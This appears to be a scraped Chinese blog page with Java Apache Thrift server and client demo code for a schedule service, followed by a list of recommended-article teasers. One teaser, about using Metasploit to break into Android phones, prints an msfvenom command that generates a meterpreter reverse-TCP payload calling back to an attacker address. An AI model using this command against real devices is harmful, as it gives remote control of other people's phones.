ScheduleServerRunnable2
package com.xx.schedule.thrift.server; import com.xx.schedule.thrift.service.ScheduleService;
import lombok.extern.slf4j.Slf4j;
import org.apache.thrift.TMultiplexedProcessor;
import org.apache.thrift.TProcessor;
import org.apache.thrift.protocol.TBinaryProtocol;
import org.apache.thrift.protocol.TProtocolFactory;
import org.apache.thrift.server.THsHaServer;
import org.apache.thrift.server.TServer;
import org.apache.thrift.transport.TFramedTransport;
import org.apache.thrift.transport.TNonblockingServerSocket;
import org.apache.thrift.transport.TTransportException; /**
* @version 1.0.0
* @author xx.cn
* @date 2020-09-27 14:21
*/
@Slf4j
public class ScheduleServerRunnable2 implements Runnable{
private int port;
private ScheduleService.Iface scheduleService;
private TServer server; private static final int THRIFT_TIMEOUT = 5000;
private static final int THRIFT_TCP_BACKLOG = 5000;
private static final int THRIFT_CORE_THREADS = Runtime.getRuntime().availableProcessors();
private static final int THRIFT_MAX_THREADS = 2 * Runtime.getRuntime().availableProcessors();
private static final int THRIFT_SELECTOR_THREADS = 16;
private static final TProtocolFactory THRIFT_PROTOCOL_FACTORY = new TBinaryProtocol.Factory();
// 16MB
private static final int THRIFT_MAX_FRAME_SIZE = 16 * 1024 * 1024;
// 4MB
private static final int THRIFT_MAX_READ_BUF_SIZE = 4 * 1024 * 1024; public ScheduleServerRunnable2(int port, ScheduleService.Iface scheduleService) {
this.port = port;
this.scheduleService = scheduleService;
} @Override
public void run() {
try {
log.info("start server");
buildServer().serve();
} catch (Exception e) {
log.error("start server error", e);
}
} public void stop(){
log.info("stop server");
server.stop();
} private TServer buildServer() throws TTransportException {
TNonblockingServerSocket.NonblockingAbstractServerSocketArgs socketArgs = new TNonblockingServerSocket.NonblockingAbstractServerSocketArgs()
.port(port)
.clientTimeout(THRIFT_TIMEOUT)
.backlog(THRIFT_TCP_BACKLOG); try (TNonblockingServerSocket serverTransport = new TNonblockingServerSocket(socketArgs)){
TProcessor processor = new ScheduleService.Processor<ScheduleService.Iface>(scheduleService); TMultiplexedProcessor multiplexedProcessor = new TMultiplexedProcessor();
multiplexedProcessor.registerProcessor("scheduleService", processor); // 使用非阻塞式IO,服务端和客户端需要指定TFramedTransport数据传输的方式
THsHaServer.Args args = new THsHaServer.Args(serverTransport)
.transportFactory(new TFramedTransport.Factory(THRIFT_MAX_FRAME_SIZE))
// .inputProtocolFactory(THRIFT_PROTOCOL_FACTORY)
// .outputProtocolFactory(THRIFT_PROTOCOL_FACTORY)
.protocolFactory(THRIFT_PROTOCOL_FACTORY)
.processor(multiplexedProcessor); args.maxReadBufferBytes = THRIFT_MAX_READ_BUF_SIZE; server = new THsHaServer(args);
}
return server;
}
}
/*
TProcessor tprocessor = new ScheduleService.Processor<ScheduleService.Iface>(scheduleService);
TNonblockingServerSocket tnbSocketTransport = new TNonblockingServerSocket(port);
THsHaServer.Args tArgs = new THsHaServer.Args(tnbSocketTransport);
tArgs.processor(tprocessor);
tArgs.transportFactory(new TFramedTransport.Factory());
tArgs.protocolFactory(new TBinaryProtocol.Factory());
//半同步半异步的服务模型
TServer server = new THsHaServer(tArgs);
*/
package com.xx.schedule.client; import com.xx.schedule.thrift.model.PpcResponse;
import com.xx.schedule.thrift.service.ScheduleService;
import com.google.common.collect.Lists;
import lombok.extern.slf4j.Slf4j;
import org.apache.thrift.protocol.TBinaryProtocol;
import org.apache.thrift.protocol.TProtocol;
import org.apache.thrift.transport.TFramedTransport;
import org.apache.thrift.transport.TSocket;
import org.apache.thrift.transport.TTransport; /**
* @version 1.0.0
* @author xx.cn
* @date 2020-09-25 14:02
*/
@Slf4j
public class ScheduleClientDemo2 {
public static final String SERVER_IP = "192.168.1.18";
public static final int SERVER_PORT = 7777;
public static final int TIMEOUT = 30000; public void startClient() {
try(TTransport transport = new TFramedTransport(new TSocket(SERVER_IP, SERVER_PORT, TIMEOUT))){
TProtocol protocol = new TBinaryProtocol(transport);
ScheduleService.Client client = new ScheduleService.Client(protocol);
transport.open();
client.receive(new PpcResponse().setUuid("uuid").setResult(Lists.newArrayList("world")));
} catch(Exception ex){
log.error("startClient error", ex);
}
} public static void main(String[] args) {
ScheduleClientDemo2 client = new ScheduleClientDemo2();
client.startClient();
}
}
随机推荐
- Vue 如何实现组件切换的时候,让组件缓存,不会被销毁
使用场景:我们开发项目的时候,会遇到组件之间的切换,一般都是创建组件销毁组件来回切换 :但是现在需求是切换组件的时候,另一个组件不会销毁: 基于这个需求 ,我们使用 keep-live 组件包裹起来要 ...
- js中判断数据类型的方法有哪些
判断数据类型可以使用 typeof 但是typeof 判断数组和函数时返回的都是Object 不能具体判断,这时使用 instanceof 可以判断对象是否是另一个函数创造的 : 用法: typeof ...
- MSF 入侵安卓手机
生成木马文件 msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.135.247 LPPRT=5555 进行文件传输: python3 ...
- 浅析Jvm
浅析Jvm 基本概念 引言 Java 虚拟机(JVM,Java Virtual Machine)是 Java 生态系统的核心组成部分,它为 Java 应用程序提供了一个运行环境.JVM 的主要职责是将 ...
- SQL语法-列的新增、删除
MySQL的语法: 新增列 ALTER TABLE `xxdb`.`xxtable` ADD COLUMN `xx_flag` varchar(1) NULL; 删除列 ALTER TABLE `xx ...
- Java 如何确保 JS 不被缓存
大家好,我是 V 哥.今天咱们来聊一聊 Java 后端确保 JavaScript 不被缓存的问题,先来了解一下为什么需要这样做,通常源于以下几种场景或问题: 1. 先来看几个问题 1. 文件更新后无法 ...
- Lncpc2024 游记
Day 0 7:30 起的比较早,和同学xjt约好了一起写作业,起来之后感觉身上有点冷,之前考CSP的时候就有点感冒,所以决定洗个热水澡,出来就写作业了. 9:30 学习状态还可以,比较沉浸式,这个时 ...
- 【问题解决】Tomcat由低于8版本升级到高版本使用Tomcat自带连接池报错无法找到表空间的问题
问题复现 项目上历史项目为解决漏洞扫描从Tomcat 6.0升级到了9.0版本,服务启动的日志显示如下警告,数据源是通过JNDI方式在server.xml中配置的,控制台上狂刷无法找到表空间的错误(没 ...
- UIAbility组件生命周期
当用户打开.切换和返回到对应应用时,应用中的UIAbility实例会在其生命周期的不同状态之间转换.UIAbility类提供了一系列回调,通过这些回调可以知道当前UIAbility实例的某个状态发生改 ...
- .NET斗鱼直播弹幕客户端(上)
现在直播平台由于弹幕的存在,主播与观众可以更轻松地进行互动,非常受年轻群众的欢迎.斗鱼TV就是一款非常流行的直播平台,弹幕更是非常火爆.看到有不少主播接入弹幕语音播报器.弹幕点歌等模块,这都需要首先连 ...